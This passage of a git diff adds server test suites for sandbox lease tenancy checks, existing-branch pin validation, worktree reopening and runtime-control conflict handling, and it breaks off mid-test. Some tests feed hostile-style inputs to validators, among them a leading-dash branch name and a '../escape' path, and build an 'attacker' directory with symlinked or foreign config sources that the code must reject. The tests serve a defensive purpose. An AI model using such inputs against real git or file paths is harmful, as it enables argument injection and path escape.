+      svc.update(environmentId, {
+        driver: "sandbox",
+        config: { provider: "provider-b" },
+      }),
+      svc.insertPendingCleanupLease({
+        companyId,
+        environmentId,
+        provider: "provider-a",
+        providerLeaseId: "sandbox-orphan-3",
+        metadata: { provider: "provider-a", config: { provider: "provider-a" } },
+        failureReason: "acquire_rejected_teardown_failed",
+      }),
+    ]);
+
+    const rows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, lease.id));
+    expect(rows[0]?.provider).toBe("provider-a");
+    expect(rows[0]?.metadata).toMatchObject({ provider: "provider-a" });
+
+    // The environment now points at the reconfigured provider, but the recorded
+    // teardown context stays independent of it.
+    const environmentRows = await db
+      .select()
+      .from(environments)
+      .where(eq(environments.id, environmentId));
+    expect((environmentRows[0]?.config as { provider?: string } | null)?.provider).toBe("provider-b");
+  });
+
   it("creates and then reuses the default local environment for a company", async () => {
     const companyId = randomUUID();
     await db.insert(companies).values({
@@ -783,6 +1153,47 @@ describeEmbeddedPostgres("environmentService leases", () => {
     expect(rows).toHaveLength(1);
   });
 
+  it("lists the companies that own a managed sandbox environment", async () => {
+    const companyA = randomUUID();
+    const companyB = randomUUID();
+    await db.insert(companies).values([
+      { id: companyA, name: "Company A", status: "active", issuePrefix: "CA", createdAt: new Date(), updatedAt: new Date() },
+      { id: companyB, name: "Company B", status: "active", issuePrefix: "CB", createdAt: new Date(), updatedAt: new Date() },
+    ]);
+    // Two companies provision the same managed sandbox slot, so both bind to the
+    // one environment row.
+    const created = await svc.ensureManagedSandboxEnvironment({
+      companyId: companyA,
+      name: "Daytona",
+      provider: "daytona",
+      config: { target: "us" },
+    });
+    const environmentId = created.environment.id;
+    await svc.ensureManagedSandboxEnvironment({
+      companyId: companyB,
+      name: "Daytona",
+      provider: "daytona",
+      config: { target: "us" },
+    });
+
+    const owners = await svc.listBoundCompanyIds(environmentId);
+    expect(owners.slice().sort()).toEqual([companyA, companyB].sort());
+
+    // An operator-created environment has no managed binding, so it lists no
+    // owner and stays instance-global.
+    const unboundId = randomUUID();
+    await db.insert(environments).values({
+      id: unboundId,
+      name: "Operator sandbox",
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "kubernetes" },
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    expect(await svc.listBoundCompanyIds(unboundId)).toEqual([]);
+  });
+
   it("preserves tenant env vars across managed sandbox boot reconciles", async () => {
     // The cloud contract lets tenants add env vars — and only env vars —
     // to the managed sandbox environment. The provisioner reconciles
@@ -1348,4 +1759,104 @@ describeEmbeddedPostgres("environmentService leases", () => {
     const rows = await db.select().from(environments);
     expect(rows.filter((row) => row.driver === "ssh")).toHaveLength(2);
   });
+
+  describe("acquireLease company-binding guard", () => {
+    async function seedSandboxEnvironment(name = "Managed Sandbox") {
+      const companyId = randomUUID();
+      const environmentId = randomUUID();
+      await db.insert(companies).values({
+        id: companyId,
+        name,
+        status: "active",
+        createdAt: new Date(),
+        updatedAt: new Date(),
+      });
+      await db.insert(environments).values({
+        id: environmentId,
+        name,
+        driver: "sandbox",
+        status: "active",
+        config: { provider: "daytona" },
+        createdAt: new Date(),
+        updatedAt: new Date(),
+      });
+      return { companyId, environmentId };
+    }
+
+    async function bindEnvironmentToCompany(environmentId: string, companyId: string) {
+      await db.insert(builtInManagedResources).values({
+        companyId,
+        bundleKey: "managed-environment",
+        resourceKind: "environment",
+        resourceKey: "managed-sandbox",
+        resourceId: environmentId,
+        stockVersion: "1",
+        stockHash: "hash",
+      });
+    }
+
+    it("rejects an acquire when a bind lands after the route check", async () => {
+      const { companyId, environmentId } = await seedSandboxEnvironment();
+      // The other company owns a managed binding that a reconciliation committed
+      // after the route guard read an empty binding list.
+      const otherCompanyId = randomUUID();
+      await db.insert(companies).values({
+        id: otherCompanyId,
+        name: "Other Co",
+        issuePrefix: "OTA",
+        status: "active",
+        createdAt: new Date(),
+        updatedAt: new Date(),
+      });
+      await bindEnvironmentToCompany(environmentId, otherCompanyId);
+
+      await expect(
+        svc.acquireLease({ companyId, environmentId, assertCompanyBinding: true }),
+      ).rejects.toMatchObject({
+        status: 403,
+        details: { code: "environment_company_mismatch" },
+      });
+      // The insert never ran, so the caller holds no lease.
+      const leaseRows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environmentId));
+      expect(leaseRows).toHaveLength(0);
+    });
+
+    it("acquires when the environment is unbound (instance-global)", async () => {
+      const { companyId, environmentId } = await seedSandboxEnvironment("Unbound Sandbox");
+
+      const lease = await svc.acquireLease({ companyId, environmentId, assertCompanyBinding: true });
+      expect(lease.status).toBe("active");
+      expect(lease.companyId).toBe(companyId);
+    });
+
+    it("acquires when the environment is bound to the caller company", async () => {
+      const { companyId, environmentId } = await seedSandboxEnvironment("Own Sandbox");
+      await bindEnvironmentToCompany(environmentId, companyId);
+
+      const lease = await svc.acquireLease({ companyId, environmentId, assertCompanyBinding: true });
+      expect(lease.status).toBe("active");
+    });
+
+    it("does not check the binding for callers that omit the flag", async () => {
+      const { companyId, environmentId } = await seedSandboxEnvironment("Legacy Path Sandbox");
+      const otherCompanyId = randomUUID();
+      await db.insert(companies).values({
+        id: otherCompanyId,
+        name: "Other Co 2",
+        issuePrefix: "OTB",
+        status: "active",
+        createdAt: new Date(),
+        updatedAt: new Date(),
+      });
+      await bindEnvironmentToCompany(environmentId, otherCompanyId);
+
+      // The heartbeat run path does not set the flag, so the binding check does
+      // not run and the lease acquires as before.
+      const lease = await svc.acquireLease({ companyId, environmentId });
+      expect(lease.status).toBe("active");
+    });
+  });
 });
diff --git a/server/src/__tests__/execution-workspace-policy.test.ts b/server/src/__tests__/execution-workspace-policy.test.ts
index 3669dd4e2fe..2509d02994e 100644
--- a/server/src/__tests__/execution-workspace-policy.test.ts
+++ b/server/src/__tests__/execution-workspace-policy.test.ts
@@ -82,6 +82,54 @@ describe("execution workspace policy helpers", () => {
     }).success).toBe(false);
   });
 
+  it("accepts an existing-branch pin only with isolated mode and a git_worktree strategy", () => {
+    expect(issueExecutionWorkspaceSettingsSchema.parse({
+      mode: "isolated_workspace",
+      workspaceStrategy: {
+        type: "git_worktree",
+        existingBranch: "PAP-14380-salvage-pap-9514",
+      },
+    }).workspaceStrategy?.existingBranch).toBe("PAP-14380-salvage-pap-9514");
+
+    // Fail closed at the contract layer: an exact-branch pin outside an
+    // isolated git worktree could silently land in the shared checkout.
+    expect(issueExecutionWorkspaceSettingsSchema.safeParse({
+      workspaceStrategy: { type: "git_worktree", existingBranch: "some-branch" },
+    }).success).toBe(false);
+    expect(issueExecutionWorkspaceSettingsSchema.safeParse({
+      mode: "shared_workspace",
+      workspaceStrategy: { type: "git_worktree", existingBranch: "some-branch" },
+    }).success).toBe(false);
+    expect(issueExecutionWorkspaceSettingsSchema.safeParse({
+      mode: "isolated_workspace",
+      workspaceStrategy: { type: "project_primary", existingBranch: "some-branch" },
+    }).success).toBe(false);
+    expect(issueExecutionWorkspaceSettingsSchema.safeParse({
+      mode: "isolated_workspace",
+      workspaceStrategy: {
+        type: "git_worktree",
+        existingBranch: "some-branch",
+        branchTemplate: "{{issue.identifier}}-{{slug}}",
+      },
+    }).success).toBe(false);
+
+    for (const invalidBranch of ["-leading-dash", "a..b", "has space", "ends/", "back\\slash", "a.lock", "../escape"]) {
+      expect(issueExecutionWorkspaceSettingsSchema.safeParse({
+        mode: "isolated_workspace",
+        workspaceStrategy: { type: "git_worktree", existingBranch: invalidBranch },
+      }).success).toBe(false);
+    }
+  });
+
+  it("carries the existing-branch pin through issue settings parsing", () => {
+    expect(
+      parseIssueExecutionWorkspaceSettings({
+        mode: "isolated_workspace",
+        workspaceStrategy: { type: "git_worktree", existingBranch: " PAP-14754-run-redaction " },
+      })?.workspaceStrategy,
+    ).toEqual({ type: "git_worktree", existingBranch: "PAP-14754-run-redaction" });
+  });
+
   it("centralizes unrunnable isolated worktree detection", () => {
     expect(
       isUnrunnableWorktreeCombo({
diff --git a/server/src/__tests__/execution-workspace-reopen.test.ts b/server/src/__tests__/execution-workspace-reopen.test.ts
index ea12f68e853..9ff003a237c 100644
--- a/server/src/__tests__/execution-workspace-reopen.test.ts
+++ b/server/src/__tests__/execution-workspace-reopen.test.ts
@@ -1,4 +1,6 @@
-import { mkdtemp, rm } from "node:fs/promises";
+import { execFileSync } from "node:child_process";
+import { mkdirSync, writeFileSync } from "node:fs";
+import { mkdtemp, rm, stat } from "node:fs/promises";
 import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { randomUUID } from "node:crypto";
@@ -27,6 +29,7 @@ import {
   readExecutionWorkspaceLifecycleGeneration,
   readMetadataReopenPendingConsumptionSince,
 } from "../services/execution-workspaces.js";
+import { resolveManagedProjectWorkspaceDir } from "../home-paths.js";
 
 const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
 const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
@@ -128,6 +131,96 @@ describeEmbeddedPostgres("reopen archived isolated execution workspace", () => {
     return workspaceId;
   }
 
+  // Seed a company and project whose primary project workspace has a null cwd.
+  // This models a managed_checkout project: the base is not a local folder, so
+  // the live managed checkout supplies the base path at rebuild time.
+  async function seedManagedCheckoutProject() {
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `PAP-${companyId.slice(0, 8)}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Managed checkout project",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "managed_checkout",
+      cwd: null,
+      isPrimary: true,
+    });
+    return { companyId, projectId, projectWorkspaceId };
+  }
+
+  // Seed one closed isolated git_worktree row. The reaper already removed the
+  // worktree directory, so cwd points at a path that is not on disk.
+  async function seedClosedGitWorktreeWorkspace(input: {
+    companyId: string;
+    projectId: string;
+    projectWorkspaceId: string;
+    cwd: string;
+    repoUrl: string;
+    branchName: string;
+  }) {
+    const workspaceId = randomUUID();
+    await db.insert(executionWorkspaces).values({
+      id: workspaceId,
+      companyId: input.companyId,
+      projectId: input.projectId,
+      projectWorkspaceId: input.projectWorkspaceId,
+      mode: "isolated_workspace",
+      strategyType: "git_worktree",
+      name: "reopen-git-worktree",
+      status: "archived",
+      providerType: "local_fs",
+      cwd: input.cwd,
+      repoUrl: input.repoUrl,
+      baseRef: null,
+      branchName: input.branchName,
+      closedAt: new Date(),
+      cleanupReason: "issue_terminal",
+      cleanupEligibleAt: new Date(),
+      metadata: {
+        [EXECUTION_WORKSPACE_LIFECYCLE_GENERATION_METADATA_KEY]: 1,
+      },
+    });
+    return workspaceId;
+  }
+
+  // Build a real git repository at the managed checkout path so
+  // ensureManagedProjectWorkspace adopts it without a network clone. The repo
+  // holds the branch that the archived worktree row references.
+  function initManagedGitRepo(dir: string, worktreeBranch: string) {
+    mkdirSync(dir, { recursive: true });
+    const git = (...args: string[]) =>
+      execFileSync("git", args, {
+        cwd: dir,
+        env: {
+          ...process.env,
+          GIT_AUTHOR_NAME: "Test",
+          GIT_AUTHOR_EMAIL: "test@example.com",
+          GIT_COMMITTER_NAME: "Test",
+          GIT_COMMITTER_EMAIL: "test@example.com",
+        },
+        stdio: "ignore",
+      });
+    git("init");
+    writeFileSync(join(dir, "README.md"), "seed\n");
+    git("add", "README.md");
+    git("commit", "-m", "seed");
+    git("branch", worktreeBranch);
+  }
+
   async function seedIssue(input: {
     companyId: string;
     projectId: string;
@@ -246,6 +339,56 @@ describeEmbeddedPostgres("reopen archived isolated execution workspace", () => {
     expect(readExecutionWorkspaceLifecycleGeneration(row?.metadata as Record<string, unknown> | null)).toBe(3);
   });
 
+  it("resolves the managed base checkout for a git_worktree row when the project workspace cwd is null", async () => {
+    const previousHome = process.env.PAPERCLIP_HOME;
+    const tempHome = await mkdtemp(join(tmpdir(), "paperclip-reopen-home-"));
+    tempDirs.push(tempHome);
+    process.env.PAPERCLIP_HOME = tempHome;
+    try {
+      const { companyId, projectId, projectWorkspaceId } = await seedManagedCheckoutProject();
+      const repoUrl = "https://example.test/acme/widget.git";
+      const branchName = "reopen-feature";
+      // Build the live managed checkout that the rebuild must spawn git in.
+      const managedDir = resolveManagedProjectWorkspaceDir({ companyId, projectId, repoName: "widget" });
+      initManagedGitRepo(managedDir, branchName);
+
+      // The archived worktree path. The reaper already removed it from disk.
+      const deletedWorktree = join(tempHome, "worktrees", "reopen-worktree");
+      const workspaceId = await seedClosedGitWorktreeWorkspace({
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        cwd: deletedWorktree,
+        repoUrl,
+        branchName,
+      });
+      const issueId = await seedIssue({ companyId, projectId, workspaceId, issueNumber: 4305 });
+
+      const svc = executionWorkspaceService(db);
+      const result = await svc.reopenClosedIsolatedExecutionWorkspaceForIssue({
+        workspaceId,
+        issue: { id: issueId, companyId, projectId },
+        actor: { agentId: null, actorType: "user" },
+      });
+
+      expect(result.ok).toBe(true);
+      if (!result.ok) return;
+      expect(result.reopened).toBe(true);
+
+      const row = await readWorkspace(workspaceId);
+      expect(row?.status).toBe("active");
+      expect(row?.closedAt).toBeNull();
+      expect(row?.cleanupReason).toBeNull();
+      // The rebuild recreated the worktree at the archived path from the managed
+      // base checkout.
+      const worktreeStat = await stat(deletedWorktree).catch(() => null);
+      expect(worktreeStat?.isDirectory()).toBe(true);
+    } finally {
+      if (previousHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousHome;
+    }
+  });
+
   it("refuses to reopen a workspace in another company", async () => {
     const first = await seedCompanyProject();
     const second = await seedCompanyProject();
diff --git a/server/src/__tests__/execution-workspace-runtime-control-conflict.test.ts b/server/src/__tests__/execution-workspace-runtime-control-conflict.test.ts
new file mode 100644
index 00000000000..c733af6a365
--- /dev/null
+++ b/server/src/__tests__/execution-workspace-runtime-control-conflict.test.ts
@@ -0,0 +1,707 @@
+import { EventEmitter } from "node:events";
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { PassThrough } from "node:stream";
+import express from "express";
+import request from "supertest";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockExecutionWorkspaceService = vi.hoisted(() => ({
+  getById: vi.fn(),
+  update: vi.fn(),
+}));
+const mockWorkspaceOperationService = vi.hoisted(() => ({
+  assertRuntimeControlAvailable: vi.fn(),
+  createRecorder: vi.fn(),
+  reconcileStaleRuntimeControlOperations: vi.fn(),
+}));
+const mockAccessService = vi.hoisted(() => ({ decide: vi.fn() }));
+const mockEnvironmentService = vi.hoisted(() => ({ getById: vi.fn() }));
+const mockSecretService = vi.hoisted(() => ({ normalizeEnvBindingsForPersistence: vi.fn() }));
+const mockProjectService = vi.hoisted(() => ({ getById: vi.fn() }));
+const mockHeartbeatService = vi.hoisted(() => ({}));
+const mockLogActivity = vi.hoisted(() => vi.fn());
+const mockGetTelemetryClient = vi.hoisted(() => vi.fn());
+const mockAssertCanManageExecutionWorkspaceRuntimeServices = vi.hoisted(() => vi.fn());
+const mockAssertCanManageProjectWorkspaceRuntimeServices = vi.hoisted(() => vi.fn());
+const mockStartRuntimeServices = vi.hoisted(() => vi.fn());
+const mockStopRuntimeServicesForExecutionWorkspace = vi.hoisted(() => vi.fn());
+const mockEnsurePersistedExecutionWorkspaceAvailable = vi.hoisted(() => vi.fn());
+const mockBuildWorkspaceRuntimeDesiredStatePatch = vi.hoisted(() => vi.fn());
+const mockListConfiguredRuntimeServiceEntries = vi.hoisted(() => vi.fn());
+// The integrated control path also takes the durable runtime-control lease (PAP-17205). This
+// suite covers the in-flight guard and failed-start reconciliation, so the lease always grants;
+// `execution-workspace-runtime-lease-route.test.ts` exercises the lease itself against a real db.
+const mockClaimRuntimeLease = vi.hoisted(() => vi.fn(async () => null));
+const mockReleaseRuntimeLease = vi.hoisted(() => vi.fn(async () => undefined));
+const mockSpawn = vi.hoisted(() => vi.fn());
+
+vi.mock("node:child_process", async () => ({
+  ...(await vi.importActual<typeof import("node:child_process")>("node:child_process")),
+  spawn: mockSpawn,
+}));
+
+vi.mock("../telemetry.js", () => ({ getTelemetryClient: mockGetTelemetryClient }));
+
+vi.mock("../services/index.js", () => ({
+  accessService: () => mockAccessService,
+  environmentService: () => mockEnvironmentService,
+  executionWorkspaceService: () => mockExecutionWorkspaceService,
+  heartbeatService: () => mockHeartbeatService,
+  logActivity: mockLogActivity,
+  projectService: () => mockProjectService,
+  secretService: () => mockSecretService,
+  workspaceOperationService: () => mockWorkspaceOperationService,
+  workspaceRuntimeLeaseService: () => ({
+    claim: mockClaimRuntimeLease,
+    release: mockReleaseRuntimeLease,
+  }),
+  LEASED_WORKSPACE_RUNTIME_ACTIONS: ["start", "stop", "restart", "repair"],
+}));
+
+vi.mock("../services/workspace-runtime.js", () => ({
+  buildWorkspaceRuntimeDesiredStatePatch: mockBuildWorkspaceRuntimeDesiredStatePatch,
+  cleanupExecutionWorkspaceArtifacts: vi.fn(),
+  ensurePersistedExecutionWorkspaceAvailable: mockEnsurePersistedExecutionWorkspaceAvailable,
+  listConfiguredRuntimeServiceEntries: mockListConfiguredRuntimeServiceEntries,
+  runWorkspaceJobForControl: vi.fn(),
+  startRuntimeServicesForWorkspaceControl: mockStartRuntimeServices,
+  stopRuntimeServicesForExecutionWorkspace: mockStopRuntimeServicesForExecutionWorkspace,
+  stopRuntimeServicesForProjectWorkspace: vi.fn(),
+}));
+
+vi.mock("../routes/workspace-runtime-service-authz.js", () => ({
+  assertCanManageExecutionWorkspaceRuntimeServices: mockAssertCanManageExecutionWorkspaceRuntimeServices,
+  assertCanManageProjectWorkspaceRuntimeServices: mockAssertCanManageProjectWorkspaceRuntimeServices,
+}));
+
+const executionWorkspaceId = "33333333-3333-4333-8333-333333333333";
+const projectId = "44444444-4444-4444-8444-444444444444";
+const projectWorkspaceId = "55555555-5555-4555-8555-555555555555";
+let registeredProjectWorkspace: { id: string; cwd: string; metadata: null } | null = null;
+
+function buildExecutionWorkspace(overrides: Record<string, unknown> = {}) {
+  return {
+    id: executionWorkspaceId,
+    companyId: "company-1",
+    // Left unset so the handler does not need a real `db` for project/policy lookups; the
+    // runtime config below is what the control path actually reads.
+    projectId: null,
+    projectWorkspaceId: null,
+    sourceIssueId: null,
+    mode: "isolated_workspace",
+    strategyType: "git_worktree",
+    name: "Lane A",
+    status: "active",
+    cwd: "/tmp/lane-a",
+    repoUrl: null,
+    baseRef: "main",
+    branchName: "canary/lane-a",
+    providerType: "git_worktree",
+    providerRef: null,
+    derivedFromExecutionWorkspaceId: null,
+    lastUsedAt: new Date(),
+    openedAt: new Date(),
+    closedAt: null,
+    cleanupEligibleAt: null,
+    cleanupReason: null,
+    config: {
+      workspaceRuntime: {
+        services: [{ name: "app", command: "pnpm dev", port: { type: "fixed", value: 42003 } }],
+      },
+      desiredState: "running",
+    },
+    metadata: null,
+    runtimeServices: [],
+    createdAt: new Date(),
+    updatedAt: new Date(),
+    ...overrides,
+  };
+}
+
+async function createApp() {
+  const [{ executionWorkspaceRoutes }, { errorHandler }] = await Promise.all([
+    import("../routes/execution-workspaces.js"),
+    import("../middleware/index.js"),
+  ]);
+  const app = express();
+  app.use(express.json());
+  app.use((req, _res, next) => {
+    (req as any).actor = {
+      type: "agent",
+      agentId: "agent-1",
+      companyId: "company-1",
+      source: "agent_key",
+      runId: "run-1",
+    };
+    next();
+  });
+  const db = {
+    select: (selection: Record<string, unknown>) => ({
+      from: () => ({
+        where: () => Promise.resolve(
+          Object.prototype.hasOwnProperty.call(selection, "cwd")
+            ? registeredProjectWorkspace ? [registeredProjectWorkspace] : []
+            : [{ executionWorkspacePolicy: null }],
+        ),
+      }),
+    }),
+  };
+  app.use("/api", executionWorkspaceRoutes(db as any));
+  app.use(errorHandler);
+  return app;
+}
+
+function createRegisteredRepairFixture(
+  prefix: string,
+  options: { targetInstanceId?: string; withCli?: boolean } = {},
+) {
+  const workspaceCwd = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
+  const baseCwd = fs.mkdtempSync(path.join(os.tmpdir(), `${prefix}base-`));
+  const configDir = path.join(workspaceCwd, ".paperclip");
+  const sourceConfigPath = path.join(baseCwd, ".paperclip", "config.json");
+  const targetInstanceId = options.targetInstanceId ?? "repair-target";
+  const cliRunner = path.join(baseCwd, "cli", "node_modules", "tsx", "dist", "cli.mjs");
+  const cliEntry = path.join(baseCwd, "cli", "src", "index.ts");
+  fs.mkdirSync(configDir, { recursive: true });
+  fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
+  fs.writeFileSync(sourceConfigPath, "{}\n");
+  fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=repair-source\n");
+  fs.writeFileSync(path.join(configDir, "config.json"), "{}\n");
+  fs.writeFileSync(path.join(configDir, ".env"), `PAPERCLIP_INSTANCE_ID=${targetInstanceId}\n`);
+  if (options.withCli !== false) {
+    fs.mkdirSync(path.dirname(cliRunner), { recursive: true });
+    fs.mkdirSync(path.dirname(cliEntry), { recursive: true });
+    fs.writeFileSync(cliRunner, "// test runner\n");
+    fs.writeFileSync(cliEntry, "// test entry\n");
+  }
+  fs.writeFileSync(path.join(configDir, "seed-manifest.json"), JSON.stringify({
+    version: 2,
+    source: { instanceId: "repair-source", configPath: sourceConfigPath },
+    targetInstanceId,
+    state: "failed",
+    attemptId: "previous",
+  }));
+  registeredProjectWorkspace = { id: projectWorkspaceId, cwd: baseCwd, metadata: null };
+  mockExecutionWorkspaceService.getById.mockResolvedValue(buildExecutionWorkspace({
+    cwd: workspaceCwd,
+    projectId,
+    projectWorkspaceId,
+  }));
+  return { workspaceCwd, baseCwd, configDir, sourceConfigPath, targetInstanceId };
+}
+
+function removeRegisteredRepairFixture(fixture: { workspaceCwd: string; baseCwd: string }) {
+  fs.rmSync(fixture.workspaceCwd, { recursive: true, force: true });
+  fs.rmSync(fixture.baseCwd, { recursive: true, force: true });
+}
+
+function mockVerifiedReseed(
+  fixture: ReturnType<typeof createRegisteredRepairFixture>,
+  targetInstanceId = fixture.targetInstanceId,
+) {
+  mockSpawn.mockImplementation(() => {
+    const child = new EventEmitter() as EventEmitter & {
+      stdout: PassThrough;
+      stderr: PassThrough;
+      kill: ReturnType<typeof vi.fn>;
+    };
+    child.stdout = new PassThrough();
+    child.stderr = new PassThrough();
+    child.kill = vi.fn();
+    queueMicrotask(() => {
+      fs.writeFileSync(path.join(fixture.configDir, "seed-manifest.json"), JSON.stringify({
+        version: 2,
+        source: { instanceId: "repair-source", configPath: fixture.sourceConfigPath },
+        snapshotAt: "2026-08-18T00:00:00.000Z",
+        seedMode: "full",
+        migrationRevision: "0142_test.sql",
+        targetInstanceId,
+        phase: "complete",
+        state: "verified",
+        attemptId: "repair-attempt",
+        startedAt: "2026-08-18T00:00:00.000Z",
+        finishedAt: "2026-08-18T00:01:00.000Z",
+        diagnostics: [{ phase: "complete", status: "succeeded", at: "2026-08-18T00:01:00.000Z" }],
+      }));
+      child.emit("exit", 0);
+    });
+    return child;
+  });
+}
+
+/**
+ * Route-level guarantees for PAP-17249: the competing lane in the PAP-17207 report must get a
+ * stable 409 while a control is genuinely live, and a start that fails must leave the workspace
+ * stopped and retryable instead of "desired running" with residue.
+ */
+describe.sequential("execution workspace runtime control conflict and failure reconciliation", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockSpawn.mockReset();
+    registeredProjectWorkspace = null;
+    mockAccessService.decide.mockResolvedValue({
+      allowed: true,
+      action: "runtime:manage",
+      reason: "allow_test",
+      explanation: "Allowed by test mock.",
+    });
+    mockExecutionWorkspaceService.getById.mockResolvedValue(buildExecutionWorkspace());
+    mockExecutionWorkspaceService.update.mockResolvedValue(buildExecutionWorkspace());
+    mockAssertCanManageExecutionWorkspaceRuntimeServices.mockResolvedValue(undefined);
+    mockWorkspaceOperationService.assertRuntimeControlAvailable.mockResolvedValue(undefined);
+    mockBuildWorkspaceRuntimeDesiredStatePatch.mockReturnValue({
+      desiredState: "stopped",
+      serviceStates: { app: "stopped" },
+    });
+    mockEnsurePersistedExecutionWorkspaceAvailable.mockResolvedValue({
+      cwd: "/tmp/lane-a",
+      projectId: "project-1",
+      workspaceId: null,
+      branchName: "canary/lane-a",
+      worktreePath: "/tmp/lane-a",
+      repoUrl: null,
+      repoRef: "main",
+    });
+    mockStopRuntimeServicesForExecutionWorkspace.mockResolvedValue(undefined);
+    mockListConfiguredRuntimeServiceEntries.mockReturnValue([{ name: "app" }]);
+    mockWorkspaceOperationService.createRecorder.mockReturnValue({
+      attachExecutionWorkspaceId: vi.fn(),
+      recordOperation: async (input: any) => {
+        // Mirror the real recorder: a throwing `run` becomes a terminal failed operation and
+        // the error still propagates to the caller.
+        try {
+          await input.run(async () => undefined);
+        } catch (error) {
+          (error as any).recordedOperationStatus = "failed";
+          throw error;
+        }
+        return { id: "operation-1", status: "succeeded" };
+      },
+    });
+  });
+
+  it("returns a stable 409 while a managed control is genuinely live", async () => {
+    const { conflict } = await import("../errors.js");
+    mockWorkspaceOperationService.assertRuntimeControlAvailable.mockRejectedValue(
+      conflict("A managed runtime control operation is already in progress for this execution workspace.", {
+        code: "workspace_runtime_control_in_progress",
+        executionWorkspaceId,
+        activeAction: "start",
+        requestedAction: "stop",
+        activeOperationId: "operation-live",
+        remediation: "Wait for the active operation to reach a terminal state before retrying.",
+      }),
+    );
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/stop`)
+      .send({});
+
+    expect(res.status).toBe(409);
+    expect(res.body.details ?? res.body).toMatchObject({
+      code: "workspace_runtime_control_in_progress",
+      activeAction: "start",
+      requestedAction: "stop",
+    });
+    // The conflict is decided before any runtime mutation happens.
+    expect(mockStopRuntimeServicesForExecutionWorkspace).not.toHaveBeenCalled();
+    expect(mockStartRuntimeServices).not.toHaveBeenCalled();
+  });
+
+  it("checks authorization before recovering or claiming the workspace", async () => {
+    const { forbidden } = await import("../errors.js");
+    mockAssertCanManageExecutionWorkspaceRuntimeServices.mockRejectedValue(
+      forbidden("Missing permission to manage workspace runtime services"),
+    );
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .send({});
+
+    expect(res.status).toBe(403);
+    expect(mockWorkspaceOperationService.assertRuntimeControlAvailable).not.toHaveBeenCalled();
+  });
+
+  it("tears down residue and records a stopped desired state when a start fails", async () => {
+    mockStartRuntimeServices.mockRejectedValue(
+      new Error(
+        'Runtime service "app" could not start because port 42003 is already in use by pid 4242 (cwd: /tmp/lane-b)',
+      ),
+    );
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .send({});
+
+    expect(res.status).toBeGreaterThanOrEqual(400);
+    // No exposure/listener residue: the failed lane is stopped through the ordinary teardown.
+    expect(mockStopRuntimeServicesForExecutionWorkspace).toHaveBeenCalledWith(
+      expect.objectContaining({ executionWorkspaceId, workspaceCwd: "/tmp/lane-a" }),
+    );
+    // ...and the workspace is no longer recorded as wanting to run, so it is retryable and a
+    // startup reconcile will not resurrect a lane that never came up.
+    expect(mockBuildWorkspaceRuntimeDesiredStatePatch).toHaveBeenCalledWith(
+      expect.objectContaining({ action: "stop" }),
+    );
+    expect(mockExecutionWorkspaceService.update).toHaveBeenCalledWith(
+      executionWorkspaceId,
+      expect.objectContaining({ metadata: expect.anything() }),
+    );
+  });
+
+  it("returns 422 with a stable reason when the repair seed manifest is malformed", async () => {
+    const workspaceCwd = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-route-repair-malformed-"));
+    try {
+      const configDir = path.join(workspaceCwd, ".paperclip");
+      fs.mkdirSync(configDir, { recursive: true });
+      fs.writeFileSync(path.join(configDir, "config.json"), "{}\n");
+      fs.writeFileSync(path.join(configDir, "seed-manifest.json"), "{ definitely-not-json\n");
+      mockExecutionWorkspaceService.getById.mockResolvedValue(buildExecutionWorkspace({ cwd: workspaceCwd }));
+
+      const res = await request(await createApp())
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(422);
+      expect(res.body).toMatchObject({
+        code: "workspace_repair_precondition_failed",
+        reason: "seed_manifest_malformed",
+        repairPhase: "precondition_validation",
+      });
+      expect(mockSpawn).not.toHaveBeenCalled();
+    } finally {
+      fs.rmSync(workspaceCwd, { recursive: true, force: true });
+    }
+  });
+
+  it.each(["sibling", "foreign_instance", "symlink", "instance_mismatch"] as const)(
+    "rejects a %s repair manifest source before spawn or runtime mutation",
+    async (variant) => {
+      const fixture = createRegisteredRepairFixture(`paperclip-route-repair-${variant}-`);
+      const attackerDir = path.join(path.dirname(fixture.workspaceCwd), `${path.basename(fixture.workspaceCwd)}-attacker`);
+      try {
+        fs.mkdirSync(attackerDir, { recursive: true });
+        const attackerConfig = path.join(attackerDir, "config.json");
+        fs.writeFileSync(attackerConfig, "{}\n");
+        fs.writeFileSync(
+          path.join(attackerDir, ".env"),
+          `PAPERCLIP_INSTANCE_ID=${variant === "foreign_instance" ? "foreign-source" : "repair-source"}\n`,
+        );
+        const diagnosticPath = variant === "instance_mismatch"
+          ? fixture.sourceConfigPath
+          : variant === "symlink"
+          ? path.join(fixture.baseCwd, "source-alias.json")
+          : attackerConfig;
+        if (variant === "symlink") fs.symlinkSync(fixture.sourceConfigPath, diagnosticPath);
+        fs.writeFileSync(path.join(fixture.configDir, "seed-manifest.json"), JSON.stringify({
